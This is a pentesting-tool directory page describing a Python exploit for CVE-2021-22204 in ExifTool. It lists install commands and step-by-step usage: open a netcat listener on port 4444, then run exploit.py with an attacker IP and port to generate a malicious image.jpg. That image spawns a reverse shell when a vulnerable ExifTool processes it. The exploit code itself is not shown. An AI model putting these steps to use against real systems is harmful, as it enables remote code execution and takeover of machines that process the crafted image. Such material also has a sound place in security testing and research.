Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-22204-exiftool — Python exploit for CVE-2021-22204 in ExifTool, generating a malicious image that triggers a reverse shell when processed by vulnerable versions. | Kitploit
Tools/GitHubGitHub/mr-tuhin/cve-2021-22204-exiftool
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubmr-tuhin/cve-2021-22204-exiftool

CVE-2021-22204-exiftool

Python exploit for CVE-2021-22204 in ExifTool, generating a malicious image that triggers a reverse shell when processed by vulnerable versions.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
924 years agoNot yet reviewed
Share

CVE-2021-22204-exiftool

Python exploit for the CVE-2021-22204 vulnerability in Exiftool.

Video tutorial

Youtube

root@kitploit:~
    404 notfound

Requirements

root@kitploit:~
python3 python3-pip djvulibre-bin exiftool

Install requirements

Debian

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Ubuntu

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Arch Linux

root@kitploit:~
    pacman -S djvulibre libimage-exiftool-perl python python-pip

Kali Linux

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Fedora

root@kitploit:~
    dnf install djvulibre libimage-exiftool-perl python-minimal python-pip

OS X

root@kitploit:~
    brew install djvulibre exiftool python

Raspbian

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

How to run:

Install python requirements

root@kitploit:~
    sudo pip install -r requirements.txt

start reverse shell with natcat

root@kitploit:~
    nc -nvlp 4444

Give execute permission

root@kitploit:~
    chmod +x exploit.py

Run program

root@kitploit:~
    python3 exploit.py {Your IP add adress} {Your Listening port} 
    

OR

root@kitploit:~
    ./exploit.py {Your IP add adress} {Your Listening port}

Example

root@kitploit:~
    python3 exploit.py 192.168.0.1 4444
    

OR

root@kitploit:~
    ./exploit.py 192.168.0.1 4444

Output file name is

root@kitploit:~
    image.jpg
    

About the vulnerability

The CVE-2021-22204 was discovered and reported by William Bowling. (@wcbowling)

This exploit was made by studying the exiftool patch after the CVE was already reported.

And the image.jpg will trigger the vulnerability when opened with a vulnerable exiftool.

Download Tool